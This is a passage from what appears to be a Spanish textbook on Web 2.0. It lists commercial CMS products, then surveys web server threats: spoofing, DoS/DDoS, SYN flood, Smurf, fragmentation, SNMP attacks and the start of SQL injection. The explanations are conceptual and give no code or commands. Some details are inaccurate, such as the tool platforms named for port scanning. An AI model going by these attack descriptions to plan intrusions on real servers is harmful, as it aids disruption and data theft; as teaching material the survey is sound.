Esencia desarrollado por Sentido Común Internet, S.L.. CMS que genera portales que
cumplen los estándares de maquetación de W3C y niveles de accesibilidad WAINivel
A, pudiendo cumplir hasta nivel AAA bajo demanda. Plataforma multi-idioma para
traducción. Gestor de contenidos modular para la gestión de portales Web con
requerimientos avanzados: [intranet], [e-commerce], [e-learning], central de reservas,
redes sociales, marketing Web: generador de newsletter, envío masivo de SMS y
encuestas.
Expression Engine. Gestor de contenidos con módulos y extensiones para blogs,
foros, galerías, etc. Tiene un gran abanico de posibilidades.
GTLive! Permite realizar todo tipo de sitios a través de un editor WYSIWYG integrado
en la propia Web. Fácilmente escalable mediante la incorporación de módulos y
secciones, y extremadamente flexible. Recomendado para proyectos multi-idioma o
para diseños muy exigentes.
Catire Content Server
CMS HYDRAportal
GlobalSys - Gestor de portales Web y contenidos
Gestionas, Gestor de contenidos para la creación de portales temáticos o
corporativos]
Envase - Enterprise Content Management Software que permite administrar,
controlar, compartir, proteger, respaldar, enrutar y consultar cualquier tipo de
documento físico o electrónico generado en un corporativo o gobierno.
IWEB, Gestor de contenidos Web]
Kentico CMS. Un CMS hecho en C# y Visual Basic. NET. Las funciones de Kentico
CMS cubren 3 áreas: Gestión de contenidos, comercio electrónico y network social.
Movable Type de Six Apart
Página 112
sociales
NUKE ET Modificación profunda de PHP-NUKE que incluye muchas más opciones,

con más seguridad y menos llamadas a la base de datos
Oracle Portal, miembro de la familia de productos de Oracle Fusion Middleware
ofrece un entorno completo e integrado para crear, implementar y administrar
portales empresariales. Únicamente Oracle Portal brinda un punto de acceso
unificado y seguro para toda la información y los servicios de la empresa con el fin de
mejorar la colaboración y la visibilidad comercial, reducir los costos de integración y
garantizar la protección de las inversiones.
PipePS. Es un procesador de plantillas modular y anidable montado sobre una capa
de abstracción sobre PHP. Como principal ventaja destaca su motor de base de datos
interno, la capacidad de anidar paneles unos dentro de otros y el amplio abanico de
posibilidades que ofrece (foros, multi-idioma, gestión de usuarios, blogs, galerías,
bases de datos, sincronización, buscadores, catálogos, agendas, noticias, calendario,
conectores a bases de datos externas, gestión de seguridad, etc). Es compatible con
HTML (incluyendo compatibilidad hasta nivel WAI-AAA recomendable para Webs
más compatibles), AJAX, Flash... y sobre todo destaca por la sencillez de manejo a la
hora de gestionar los contenidos, ya que permite modificarlos "durante la
navegación".
Paloo, es un servicio desde la red, capaz de aunar las herramientas que gestionan los
canales de comunicación de las grandes empresas. El servicio se sustenta en Paloo
como servicio en red y cubre todo el rango de necesidades: desde el propio
alojamiento, hasta la administración del gestor o el mantenimiento de contenidos de
los canales.
Polymita Content Studio. Polymita Content Studio, modelador de contenidos
(noticias, datos de una incidencia, pedidos, etc), y formularios online, permite a un
usuario no técnico describir la estructura de datos y los formularios necesarios para
presentar y recoger la información de los usuarios de los portales. Ha sido creado por
Polymita Technologies, fabricante de software y soluciones que ayudan a las
empresas a mejorar su productividad mediante la automatización de procesos de
negocio y la gestión de contenidos y portales empresariales.
Prontus CMS. CMS en español, Orientado a la usabilidad y accesibilidad de los
contenidos, permite separar las capas de presentación y datos utilizando plantillas con
tags. Enfocado a sitios corporativos, Medios de Prensa, Gobierno y cualquier otro que
necesite la máxima seguridad, confiabilidad y respaldo. La información se puede
guardar en XML y Base de datos. Prontus puede trabajar en modo cluster, posee un
buscador que permite indexar hasta contenidos de otros sitios en modalidad spider.
Soporta múltiples idiomas frontend permitiendo mantener el sitio Web en paralelo
con múltiples idiomas organizado y segmentado para cada uno de los mismos,
además puede determinar por tipo de Browser (Agente de Usuario) determinando si
es un PC o un dispositivo móvil (smartphone, celular, PDA) entregando la información
adecuada al dispositivo.
SDL Tridion CMS. Potentísimo gestor de contenidos. Ideal para Sistemas Distribuidos
de PYMES y grandes empresas http://www.sdltridion.es/
SiteAd CMS modular (PHP) desarrollado por AntsWeb, tiene desarrollados varios
modulos y con la facilidad de crear nuevos de acuerdo a la necesidada.
SPC:Sistema de Publicación de Contenidos[2] es un gestor de contenidos potente,
sencillo de utilizar y asequible. Utilizado en publicaciones electrónicas, Websites
corporativos y portales de campañas publicitarias y eventos, SPC está orientado a
mejorar la eficacia comercial del portal Web y la productividad en su gestión. Se
instala en 48 horas adaptado un Website ya diseñado o a un nuevo diseño.
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sociales
Smartone CMS. Smartone brinda un sistema ágil y inteligente de administración de

contenido. El objetivo es tener la máxima flexibilidad y óptima indexación por los
motores de búsqueda. Basado en Php, Smarty y mySql.
360 Web Manager Software. Gestor de contenidos totalmente en español, completo
y adaptable a las distintas necesidades del usuario. Sus requerimientos mínimos
permite que pueda ser instalado en casi cualquier servidor Web. Permite fácil y
rápidamente armar, mantener y actualizar sitios Webs.
UDEcontrol - CMS en español, aplicación para desarrolladores con generación de
WEB standares en 3 pasos.
Vbulletin (abreviado como vB) es un software para crear foros en internet
desarrollado por Jelsoft Enterprises Ltd.
Vignette Content Management
Víncolo Site Manager CMS desarrollado por Víncolo. Permite crear, administrar y
publicar contenidos, archivos multimedia, objetos externos (Web 2.0), productos y
otros a través de la configuración de plantillas.
Voranet CMS: Gestor de contenidos para la Web 2.0 y la accesibilidad. Multi-site,
multi-idioma, blogs, wikis, noticias, TPV's, catalogos de productos, central de
reservas. Desarrollado en Ruby on Rails.
WAP Site Builder. Gestor de contenidos para la creación y administración de portales
WAP premium.
WebControl CMS - Grupo Intermark, WebControl CMS. Solución para gestión de
contenidos WAI AA en entorno Web (ASP NET y J2EE).
X3 CMS. es un entorno de trabajo basado en tecnología 100% Web, enfocado a la
construcción de Webs dinámicas y al desarrollo de soluciones de negocio en Internet,
unificando y estandarizando todos los procesos que intervienen en dicha
construcción. Un entorno de desarrollo dinámico y totalmente personalizable para
cualquier tipo de organización y necesidad. Desde aplicaciones e-commerce (B2B -
B2C) hasta aplicaciones de e-learning, e-business y e-marketing.
XCM - Xeridia Content Manager Gestor de contenidos Web, Multi-Site, Multi-
Dispositivo, Multi-Idioma.
ZWeb Publisher CMS Para empresas con volumen de publicación elevado.
LOGin CMS Gestor de contenidos Web, Multi-idioma, Editor WYSIWYG, e-
Commerce.
CMS estandarizados, compatibles con tecnologías Portlet, JSR-168 y JSR-170:

IBM WebSphere
Novell Extend
Magnolia CMS, Vignette
MetaSpace Portal
JetSpeed
Liferay
JBoss Portal
K-Dimention - Web Content Management System
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sociales
10.4. Seguridad en el servidor
10.4.1. Introducción
La gran mayoría de los ataques a servidores Web es a nivel de software. También hay ataques
dependientes de los sistemas operativos que se encuentran instalados en el servidor y del mal
uso que se podría hacer de la configuración del servidor o de las políticas de seguridad
definidas.
Los ataques consisten en valerse de vulnerabilidades de un sistema informático, con un

propósito desconocido por el dueño del sistema, que suelen causar daño y generalmente se
hacen a través de internet.
Podríamos ver un servidor web de la siguiente manera:
Ilustración 18. Arquitectura de un servidor web.
Observando la imagen anterior, nos damos cuenta de que un servidor web tiene diferentes
puntos por donde por atacar.
Un ataque a un servidor Web 2.0 se puede realizar por diferentes razones:
Obtener o modificar información privilegiada de la empresa, información

personal de algún usuario en concreto o información de cuentas bancarias.
Dañar el funcionamiento normal del servicio, desconfigurar la página web.
Usar el sistema para otro ataque diferente.
Utilizar recursos, principalmente el ancho de banda de las redes.
Dañar la imagen de la empresa o de la entidad de la página web.
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10.4.2. Amenazas y Vulnerabilidades de un Servidor Web

Las vulnerabilidades de los servidores web se relacionan con la implementación de protocolos
TCP/IP y a las aplicaciones web. Los servidores web están hoy día muy protegidos por las
empresas, ya sea con firewalls, antivirus, sistemas de detención de intrusiones, etc. por lo que
cada día es más difícil para el atacante encontrar nuevas vulnerabilidades. Debido a esto, los
ataques actuales están principalmente dirigidos a los fallos en las aplicaciones web y en la
ingeniería social.
Veamos los RIESGOS a los que se someten los servidores web:
1. Acceso Físico. Se trata del daño que podrían sufrir físicamente las máquinas, a
nivel de hardware. Modalidades:
a. Terremotos, vibraciones, inundaciones, incendios, humedades
b. Interrupción del suministro eléctrico, anomalías de tensión, interferencias
electromagnéticas, tormentas eléctricas, interferencias
electromagnéticas
c. Vandalismo, atentados, robos, apagado manual de las máquinas
2. Intercepción de Comunicaciones. Si se puede ser capaz de interceptar las
comunicaciones que van al servidor y éstas no viajan de manera segura por la red
con un cifrado adecuado se podría obtener información privilegiada por terceros
usuarios. Modalidades:
a. Monitorear el tráfico de red
b. Análisis de puertos
c. Secuestro de sesión
d. Falsificación de identidad
e. Redirección o alteración de mensajes
3. Denegación de Servicio (DoS). Un ataque de denegación de servicio trata de
hacerse con los recursos del sistema para colapsarlos y provocar una caída del
servidor o la interrupción del servicio.
a. Debilidades TCP/IP
b. Debilidades en el software del servidor
c. Debilidades del sistema operativo
4. Intrusiones. Si un atacante fuera capaz de acceder al sistema operativo y elevar
los privilegios hasta nivel de root podría afectar gravemente a la seguridad del
servidor así como el conseguir insertar algún tipo de malware como virus o
troyanos.
5. Ingeniería social. La ingeniería social es uno de los recursos más utilizados y uno
de los eslabones más peligrosos de la cadena ya que depende de la ingenuidad de
los usuarios.
6. Puertas traseras. Los programas pueden contener errores de programación que
aunque no afecten al funcionamiento normal de la aplicación sí que podrían
suponer una vulnerabilidad para poder ser explotadas por un atacante
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sociales
Normalmente los atacantes no usan directamente su máquina para su objetivo sino que hacen
uso de máquinas intermedias para dejar el menor rastro posible de su identidad.
10.4.3. Ataques a un servidor Web

Vamos a clasificar los ataques a los servidores web por diferentes características.
Activos y Pasivos
1. Activos
2. Pasivos
Sistema y Aplicación
1. Ataques a nivel de sistema
2. Ataques a nivel de aplicación
Ataques típicos
1. Spoofing
a. IP Spoofing
b. ARP Spoofing
c. DNS Spoofing
d. Web Spoofing
2. DoS
a. DoS (Denegación de Servicio)
b. DDoS (Denegación de Servicio Distribuido)
3. Exploración de puertos
4. Pingflood (inundación por ping)
5. Smurf
6. Synflood (inundación SYN)
7. Ataque de fragmentación
8. Ataque SNMP
9. Inyección de SQL
10. Código fuente pobre
11. Ataque por manipulación de datos
12. Ataques de manipulación de URL
13. Ataques de secuencia de comandos entre páginas web (XSS)
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sociales
10.4.3.1. Ataques Activos y Pasivos
1. Ataques Pasivos
En los ataques pasivos, el pirata informático no modifica ningún tipo de información sino que
simplemente escucha o ve la información que se encuentra en el servidor.
Con este tipo de ataque se puede obtener información, sin modificarla, que le puede ser de
alguna manera útil al atacante.
Este tipo de ataque aparte de recoger información confidencial también analiza el tráfico de
manera que puede obtener de éste análisis las IPs de origen y destino, el volumen de
información que se está transmitiendo y en qué momento del día se realiza este tráfico de
datos.
La mayor ventaja, para el atacante, es que no deja casi huella, ya que al no provocar ninguna
alteración de información es casi imposible de detectar. La manera de evitar este ataque
puede ser usando conexiones seguras a la web como conexiones SLL (Security Socket Layer) o
cifrando la información.
Este ataque suele ser un primer paso para posteriores ataques activos, primero analizan la
información y el estado de las conexión y posteriormente se procede a realizar algún tipo de
ataque activo.
2. Ataques Activos
Estos ataques, al contrario que los pasivos, se dedican a modificar de alguna manera la
información o los paquetes enviados, pudiendo crear un flujo de datos falso y así tener la
posibilidad de hacer algún ataque del tipo ARP Spoofing (Address Resolution Protocol Spoofing)
que explicaremos posteriormente. Otro tipo de ataques pueden ser relacionados con
suplantación de identidad, modificación de mensajes, denegaciones de servicio, etc.
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sociales
10.4.3.2. Sistema y Aplicación
1. Ataques a Nivel de Sistema

EN QUÉ CONSISTE: el ataque a nivel de sistema se trata de atacar directamente al sistema
operativo (SO) del servidor intentando obtener privilegios de root o administrador mediante
un terminal remoto37. Estos ataques se basan en vulnerabilidades a la hora de configurar las
políticas de acceso al servidor a través de algún servicio mal configurado (como por ej.
servicios telnet y SSH (Secure Shell) o bien explotar servicios vulnerables permitiendo
desbordamiento de buffers que puede permitir ejecutar comandos en el SO); también se
basan, los ataques, en aplicaciones que permitan ejecución de código arbitrario en el servidor.
PERFIL DEL ATACANTE: el atacante deberá tener un nivel de conocimientos alto.
GRAVEDAD DEL ATAQUE: la gravedad del ataque dependerá de la aplicación a la que se acceda
ya que no es lo mismo atacar a un servidor con imágenes de los usuarios que un ataque a una
aplicación de gestión y cuentas bancarias.
2. Ataques a Nivel de Aplicación

EN QUÉ CONSISTE: este ataque se basa en intentar modificar los datos que nos permita la
aplicación atacada sin ejecutar código en el S.O. (por ejemplo modificación o borrado de
contenidos del sistema de gestión de portales como phpNuke o Mambo o manipulación de
una base de datos SQL accediendo a un phpMyAdmin que sea vulnerable). Este ataque se
basa en modificar información de nuestras BBDD pero no modifica nada del portal web.
PERFIL DEL ATACANTE: el atacante deberá tener un nivel de conocimientos medio. Este tipo de
ataques es uno de los más populares y visibles.
GRAVEDAD DEL ATAQUE: la gravedad del ataque dependerá de la aplicación a la que se acceda
ya que no es lo mismo atacar a un servidor con imágenes de los usuarios que un ataque a una
aplicación de gestión y cuentas bancarias.
37
Un terminal remoto se trata de una máquina que hace la función de servir como front-end a otra máquina que se encargará de
gestionar las operaciones. También se podría definir como un software que permite el acceso a una máquina que no está a
nuestro alcance físico, que se podría decir que es el caso más habitual.
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sociales
10.4.3.3. Ataques típicos
1. Spoofing
EN QUÉ CONSISTE: esta técnica consiste en suplantar la identidad de otra máquina de la red
para tener acceso a los recursos de un tercer sistema de manera maliciosa basándose en algún
tipo de confianza ya sea el nombre o la dirección IP del host suplantado. Esto se puede realizar
a diferentes niveles, de ahí las distintas modalidades que tenemos de spoofing.
Las técnicas de spoofing van desde engañar al propio servidor falseando simplemente una
dirección IP hasta lo que sería engañar directamente al usuario final, es decir, entrando ya en
ingeniería social.
Una de las técnicas más típicas spoofing es el phising, que es un claro ejemplo de esta técnica a
alto nivel y que hoy en día es causa de múltiples fraudes en internet.
PERFIL DEL ATACANTE: un ataque de este tipo no es un ataque trivial, por lo que el atacante
deberá poseer un nivel de conocimiento alto y las organizaciones deben tener en cuenta que
es un ataque factible. Depende también del nivel del ataque; un ataque de tipo DNS Spoofing
será mucho más fácil de realizar que un ataque de tipo web spoofing por ejemplo.
GRAVEDAD DEL ATAQUE: dependerá de cada tipo de nivel de spoofing. Por ejemplo si hablamos
concretamente de DNS Spoofing suele ser a nivel local, es decir que el servidor DNS al que se
ataca se hace desde dentro de una empresa, es decir, dentro de la misma LAN (Local Area
Network), un ISP38 (Internet Service Provider) o una misma ciudad. La mayoría de estos ataques
spoofing van dirigidos a un host en concreto.
EJEMPLOS TÉCNICOS : en un ataque de tipo spoofing vemos que existen tres máquinas en juego
que son: un atacante, un atacado y el sistema que se va a suplantar. Para que el pirata
informático consiga establecer una comunicación con atacante deberá evitar que el sistema
suplantado interfiera de alguna manera en ella cosa que no es fácil ya que los servidores hoy
en día imponen trabas para que esto no ocurra.
Para evitar que el sistema suplantado interfiera en la comunicación podríamos modificar las
rutas de red, filtrado de paquetes entre ambos sistemas, lanzar una DoS al servidor atacado o
simplemente esperar a que este desconectado por mantenimiento por ejemplo, etc.
Otra tarea difícil de la que se tendrá que encargar el atacante, es la de falsear la comunicación
entre el sistema del atacante y el del atacado, sin que el sistema suplantado entre en juego. La
manera típica de hacer esto, una vez realizada la DoS al servidor Web, es que el atacante envía
una trama SYN al host atacado con la dirección de origen del servidor suplantado. El host
responde con SYN+ACK al servidor suplantado que ignorará por estar caído gracias al ataque
DoS realizado y finalmente el atacante envía un ACK como si fuera el servidor suplantado,
todo esto controlando los números de secuencia de los paquetes para que ninguno sea
rechazado y conseguir establecer conexión con el host del atacado.
38
Un ISP es una empresa que se dedica a conectar Internet a los usuarios o redes y ofrecer mantenimiento para que el acceso a
internet funcione correctamente. Otros servicios son alojamiento web, registro de dominios, etc.
Página 120
sociales
Como podemos ver, este ataque es un ataque ciego ya que el atacante no puede ver en ningún
momento que todo está saliendo bien en el lado del atacado así que tendrá que confiar en
parte que esto es así.
IP Spoofing
Esta técnica consiste en hacerse con una dirección IP de un host o un servidor y hacerse pasar
por él con el objetivo de obtener información confidencial o provocar un ataque DoS.
Sabemos que en la red no pueden existir dos direcciones IPs iguales porque si no una de las
dos máquinas no funcionaría. Si hablamos de una red con un servidor DHCP 39 (de las siglas
Dynamic Host Configuration Protocol) complicaría más la situación incluso para realizar este
ataque ya que el propio servidor es el que se encarga de designar automáticamente las
direcciones IP de la red.
Un ejemplo de ataque IP Spoofing consistiría en mandar ping con una IP falseada, el host del
atacado responde al ping, lo que provoca que el servidor suplantado reciba respuesta sin
haberla solicitado provocando así un cierre de conexión inmediato y una Denegación de
Servicio.
ARP Spoofing
Este ataque consiste en la construcción de tramas de solicitud y respuestas de tramas ARP
falseadas, de manera que se fuerce al host del atacado a enviar los paquetes al atacante en
vez de hacerlos directamente al servidor de destino. Las comunicaciones TCP/IP se basan en
la resolución de la dirección IP en función de la dirección MAC y para ello en nuestra máquina
residen tablas de ARP que asocian las direcciones MAC con las direcciones IP de la red. Este
ataque trataría de falsear estas direcciones MAC basándose en el envenenamiento de la tabla
de ARP. Veamos una tabla típica de ARP de un host común:
Ilustración 19. Tabla de ARP.
Vemos que para cada dirección IP tenemos una dirección MAC asociada, la cual en teoría no
se puede modificar, cosa que no es cierta.
Este es el típico ataque de MITM (de las siglas Man In The Middle) ya que para que el ataque
funcione la máquina del atacante deberá tanto recoger información del atacado como
mandársela al servidor suplantado para que parezca que se trata de una comunicación
39
DHCP es un protocolo de red que asigna a las máquinas de una red las direcciones IP de manera automática. Es un protocolo
cliente/servidor donde un servidor posee una lista de direcciones IP dinámicas y las va asignando a las máquinas según van
estando libres sabiendo quien estuvo en posesión de esa dirección, el tiempo que estuvo y a quién se le asigno posteriormente.
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completamente normal. Lo que hace la máquina del atacante es enviar el mismo mensaje de
ARP infinitas veces al atacado diciendo que éste es el servidor Web, es decir, provoca un
envenenamiento a la tabla de ARP, pudiendo así engañar a la máquina del atacado. Los dos
equipos, tanto el host del usuario como el servidor, actualizarán su tabla dinámica, la caché de
ARP.
El ARP Spoofing también podría ir enfocado a provocar una DoS en el servidor, por ejemplo, si
incluyésemos en la red dos direcciones MAC exactamente iguales esto daría lugar a una
denegación de servicio inmediata.
DNS Spoofing
El desvío de DNS trata de asociar el DNS (por ej. www.google.com) de nuestra página web
con la IP de un servidor que no es el nuestro, es decir engañar al servidos DNS con una IP de un
servidor (por ej. 192.20.120.12) donde se alojaría otra página Web, de esta manera cuando el
usuario fuera a introducir la dirección el DNS en un navegador verá otra página Web que no es
la de nuestro servidor.
La dificultad del atacante residirá en que no atacará esta vez a un host en concreto sino a un
servidor DNS que estará asociado a un ISP que normalmente tiene un nivel de seguridad
elevado, pero si este ataque tuviese efecto sería muy dañin0 ya que afectaría de forma global
a la red incluso podría contagiarse a otros servidores DNS ya que estos comparten
información. Este ataque podría también realizarse de manera más fácil directamente a un
host en concreto al fichero de asociación de DNS. Por ejemplo, podemos acceder a él desde
un SO Windows a través de esta ruta C:\Windows\system32\drivers\etc\hosts.
Ilustración 20. Archivo hosts.
Una modificación del archivo hosts provocaría una resolución incorrecta al resolver la
dirección de una página web.
Para conseguir este ataque se puede hacer de diferentes maneras. Se podrían modificar las
entradas del servidor que se encarga de resolver las direcciones DNS falseando las relaciones
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DPS-IP. También se podría comprometer un servidor infectando la caché de otro, es decir

hacer DNS Poisoning. Otra manera de realizar este ataque podría ser que un atacante envíe
datos falseado como respuesta a una petición del atacado para poder ver los números de
secuencia.
Web Spoofing
Este ataque consiste en usurpar una página Web que la victima solicite a través de un
navegador emulando una sesión de navegación completa incluyendo conexiones seguras vía
SSL40 (de las siglas Security Sockets Layer).
Para realizar este ataque, mediante código malicioso se crea una ventana del navegador de
apariencia inofensiva en el host de la víctima y a partir de ahí se enruta todas las páginas Web
dirigida al equipo atacado donde son modificadas para que cualquier evento generado por el
cliente sea registrado, es decir registrar cualquier tipo de datos que introduzca el usuario en el
navegador. La mayoría de las veces para realizar esto se basan en algún tipo de pluging o
control ActiveX por lo que es muy común que se desactive esa opción en los navegadores para
protegerse de estos ataques.
Este tipo de ataque es complicado de realizar requiere un alto nivel de conocimientos en

programación ya que se trata de desarrollar un navegador dentro de nuestro navegador y
hacerlo de manera transparente. Debido a esto es un ataque muy poco frecuente.
40
SSL o protocolo de Capa de Conexión Segura, proporciona autenticación y privacidad entre
extremos en internet valiéndose para ello de la criptografía.
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sociales
2. Denegación de Servicio (DoS)

EN QUÉ CONSISTE : se trata de un ataque con bastante historia, son ataques dirigidos a una
máquina o conjunto de máquinas con el objetivo de terminar parcial o totalmente con los
servicios que ofrece ese recurso.
PERFIL DEL ATACANTE : este ataque se suele realizar por “hackers” con un nivel bajo de
habilidades técnicas llamados script kiddies ya que con un simple programa y sin
conocimientos ni recursos se podría interrumpir constantemente un servicio. Debido a esto se
trata de uno de los ataques más habituales de la red.
GRAVEDAD DEL ATAQUE : como todos los ataques de DoS, dependiendo del servidor al que
afecte, el ataque tendrá más o menos gravedad.
EJEMPLOS TÉCNICOS : hay muchas formas de realizar un ataque DoS a una máquina vamos a
diferencias entra ataques DoS y DDoS para ver esto de manera más detallada.
DoS (Denegación de Servicio)

El ataque DoS se basa en intentar consumir todos los recursos del servidor Web (ancho de
banda o ciclos de procesador) sin dejar espacio libre para peticiones legitimas.
Un ejemplo de denegación de servicio es un ataque por desbordamiento de buffer, se trataría

de consumir el ancho de banda del servidor. Este ataque trata de ejecutar código arbitrario en
el software del servidor enviando un caudal de datos mayor del que puede soportar el servidor
provocando así una DoS. Este tipo de ataques son complicados ya que se necesitan amplios
conocimientos de la arquitectura del servidor, del software y del procesador. Normalmente se
suele realizar desde múltiples host.
Otro tipo de ataque es la inanición de recursos, tratando de agotar los recursos del sistema
como puede ser saturar la CPU, la memoria física, atacando al software del servidor.
Normalmente este ataque provoca un fallo general del sistema o procesos que se cuelgan
pudiendo ser alguno importante para el sistema.
Los errores de programación también pueden ser explotados para provocar una DoS. Si
enviamos datos no estandarizados que no cumplen las normas de definición de protocolo al
servidor, si el protocolo TCP/IP no es capaz de interpretarlos como excepciones podrían
provocar una caída del servidor. En ocasiones este ataque puede ser debido más que a
defectos de programación, defectos del hardware o software, algún chip, defectos de la CPU,
etc.
Los ataques de DNS y de enrutamiento tratan de aprovecharse de que protocolos como RIP
(Routing Information Protocol) o BGP (Border Gateway Protocol) carecen de autenticación, y
debido a ello es posible alterar las rutas correctas falsificando IP de origen y crear una
condición de DoS.
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DDoS (Denegación de Servicio Distribuido)

Este ataque se trata de un ataque DoS pero a un nivel mayor. En el ataque DoS tradicional,
una máquina lanza el ataque a un servidor, en el ataque DDoS es un conjunto de máquinas
distribuidas que apuntan a un mismo servidor lo que puede llevar a una Denegación de
Servicio de inmediato. Este tipo de ataques se realizan normalmente mediante redes de
Botnets distribuidas alrededor del mundo en máquinas infectadas con software maligno.
Uno de los ataques más habituales es el llamado packet flooding que consiste en enviar un
gran número de paquetes a un determinado objetivo a través de muchas maquinas ubicadas
en diferentes lugares; dependiendo del tipo de paquete enviado tenemos ping flood, SYN
flood, etc. Posteriormente hablaremos de estos ataques.
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3. Exploración de puertos
DESCRIPCIÓN : este ataque trata de explorar los puertos de nuestro servidor Web con la
intención de encontrar algún agujero de seguridad en esa exploración. Se trata de un ataque
pasivo ya que simplemente se está obteniendo información, no se está modificando nada en
el servidor. Este ataque no es complicado de realizar ya que se puede hacer con un simple
sniffer y difícil de rastrear si la exploración de puerto se hace adecuadamente. También se
trata de un ataque bastante común
PERFIL DEL ATACANTE : los atacantes son gente con un perfil de conocimientos bajo, ya que un
programa de exploración de puertos es muy fácil de usar. Este tipo de atacantes
probablemente la gran mayoría no sepa interpretar bien los resultados del sniffer, por lo que
se trata de los llamados script kiddies.
GRAVEDAD DEL ATAQUE : al ser un ataque pasivo y debido al perfil del atacante en principio no
tendría mayor transcendencia, pero si se consigue encontrar un agujero de seguridad
importante habría que estudiar la gravedad dependiendo de éste.
EJEMPLOS TÉCNICOS : este tipo de ataque, como se especificó antes, se puede realizar con un
simple sniffer. Para el ataque nos bajaremos algún rastreador de puertos, como por ejemplo
Wireshark (para sistemas Windows) o Tcpdump (para sistemas Windows) que es gratuito y
tan fácil como saber la IP del servidor es hacer un escaneo de puertos y esperar a que el
programa de sus resultados.
4. Pingflood (inundación por ping)

DESCRIPCIÓN : es un ataque de DDoS donde una máquina envía un paquete ping al servidor
Web para poder detectar información sobre sistemas o servicios de arriba abajo. Abajo
podemos detectar información encubierta pero a más nivel en los paquetes, una inundación
por ping, pueden que el sistema se bloquee o sufra retardos.
PERFIL DEL ATACANTE : en principio el nivel de conocimientos que se requiere es alto ya que
hay que conocer los parámetros y la longitud de los paquetes ICMP para poder provocar una
DDoS.
GRAVEDAD DEL ATAQUE : si la inundación por ping consigue provocar una denegación de
servicio distribuida podría suponer grandes pérdidas para la organización atacada.
EJEMPLOS TÉCNICOS : este ataque se trata de saturar una línea con paquetes ICMP. El ataque
usa definiciones de longitud máxima de protocolos y la capacidad de fragmentación de los
datagramas IP provocando una degradación del servicio.
Página 126
sociales
5. Smurf
DESCRIPCIÓN : se trata de una versión de pingflood. Este tipo de ataque utiliza también la
inundación por ping pero se envía a toda la red, es decir que el efecto que tiene el ataque está
amplificado. Se basa en el uso de servidores de difusión para poder analizar una red entera.
PERFIL DEL ATACANTE : el perfil del atacante es el mismo que para el ataque pingflood.
GRAVEDAD DEL ATAQUE : en realidad es un ataque que difícilmente se va dar.
EJEMPLOS TÉCNICOS : este tipo de ataque se basa en usar mensajes ping al broadcast con
spoofing para inundar un servidor atacado.
Veamos de qué pasos se componen el ataque:
- El atacante envía una solicitud echo request, un ping a uno o varios servidores de difusión
falsificando direcciones de IP origen y proporciona la IP de un equipo de destino.
- El servidor o servidores de difusión lo envían al resto de la red.
- Las máquinas de la red envían la respuesta al ping al servidor de difusión.
- El servidor de difusión envía las respuestas al equipo de destino.
Vamos a verlo con un dibujo para que quede más claro:
Ilustración 21. Ataque Smurf.
Página 127
sociales
Con esto se consigue que el atacante envíe una solicitud a varios servidores de diferentes
redes enrutando todas las respuestas al equipo de destino, de esa manera, el atacante
encontrará una lista de servidores de difusión donde podrá falsificar la dirección de respuesta
para direccionarlas al equipo de destino.
6. Synflood (inundación SYN)

DESCRIPCIÓN : podríamos decir que este ataque se trata de enviar al servidor una carta, un
mensaje SYN, el cual deberá responder el servidor, pero el remitente es falso, por lo tanto al
enviar de vuelta la carta se esperara una respuesta, un ACK, que no se obtendrá nunca y se
mantendrá el sistema en espera. Si se envían muchas peticiones SYN al servidor, usando así
todas las conexiones del sistema, se producirá una DoS.
PERFIL DEL ATACANTE : este ataque requerirá conocimientos del protocolo TCP/IP para saber
cómo trabajan las comunicaciones por lo que el atacante deberá tener un nivel de
conocimientos medio-alto.
GRAVEDAD DEL ATAQUE : como todos los ataques DoS dependiendo del servidor al que afecte
el ataque tendrá más o menos gravedad.
EJEMPLOS TÉCNICOS : vamos a verlo de manera más concreta. El ataque consiste en saturar el
trafico de red aprovechando el mecanismo de negociación “Three way handshake” que realiza
el protocolo TCP al iniciar una conexión, ya que se trata de un protocolo con conexión previa;
hay otros protocolos que no necesitan de conexión previa como IP o UDP por ejemplo. El
hecho de que TCP establezca previamente una sesión es para realizar conexiones de manera
más segura.
El protocolo TCP inicia las conexiones de la siguiente manera:
Ilustración 22. Establecimiento de sesión TCP.
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sociales
Este ataque consiste en enviar al servidor muchas solicitudes SYN con una dirección de
usuario inexistente, lo que causa que el servidor se quede en espera del ACK que mandaría el
supuesto usuario. Hay máquinas que son vulnerables a estos ataques, lo que hacen es dejar
conexiones abiertas en cola en la memoria de datos y esperan la recepción del paquete ACK, si
se usan todos los recursos del servidor para almacenar estas solicitud provocara una DoS, un
reinicio del sistema o una caída. Se podría poner caducidad a los paquetes para rechazarlos
tras un periodo de tiempo para poder evitar este ataque.
7. Ataque de fragmentación
DESCRIPCIÓN : el atacante rompe las tramas TCP/IP en fragmentos más pequeños de lo que
deberían ser, que puentean la mayoría de los sistemas de intrusión y detención.
PERFIL DEL ATACANTE : este ataque no es fácil de realizar ya que se necesitan unos mínimos
conocimientos del protocolo TCP/IP.
GRAVEDAD DEL ATAQUE : el ataque es complicado ya que requiere altos conocimientos

técnicos.
EJEMPLOS TÉCNICOS : Observamos que la longitud máxima de un datagrama IP son 65535

bytes. Si queremos enviar un paquete ICMP enviaremos el paquete IP (65535 bytes), cabecera
IP (20 bytes) y cabecera ICMP (8 bytes) es decir un total de 65507 bytes. Como usamos el
protocolo ICMP para mensajes de control de la red, si se envía un paquete el servidor Web
superior a los 65507 bytes, ya que el paquete IP se va enviando fragmentado en trozos al
juntar el paquete en el servidor de destino se pueden producir errores de desbordamiento que
provocan una DoS.
8. Ataque SNMP
DESCRIPCIÓN : este tipo de ataque trata de explotar vulnerabilidades en el servicio SNMP para
bien provocar una DoS o bien obtener información de la red, parecido a lo que pretendía
conseguir el ataque de exploración de puertos.
PERFIL DEL ATACANTE : se necesitan conocimientos del funcionamiento del protocolo SNMP.
GRAVEDAD DEL ATAQUE : depende de la información que sea capaz de conseguir el atacante.
EJEMPLOS TÉCNICOS : SNMP o Protocolo Simple de Administración de Red, es un protocolo a

nivel de aplicación que permite supervisar la red, buscar problemas y resolverlos.
Las versiones de SNMP más utilizadas son SNMP versión 1 (SNMPv1) y SNMP versión 2
(SNMPv2). El problema es que estas versiones tienen algunas vulnerabilidades que son
resueltas en la tercera versión del protocolo, SNMPv3.
Si un atacante consigue hacerse con permisos de administrador de red y valerse de este

protocolo para conocer la red, podría obtener suficiente información de cómo es ésta red y
usar esos conocimientos para fines maliciosos.
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sociales
9. Inyección de SQL
DESCRIPCIÓN : la gran mayoría de las Web 2.0, por no decir todas, tienen de fondo una gran
base de datos con la información de sus usuarios. Esta base de datos suele estar programada
bajo plataformas Oracle que se basan en código de programación SQL, el cual se encuentra
muy extendido hoy día. Este ataque se basa en manipular ese código para ejecutar alguna
secuencia en el servidor u obtener información.
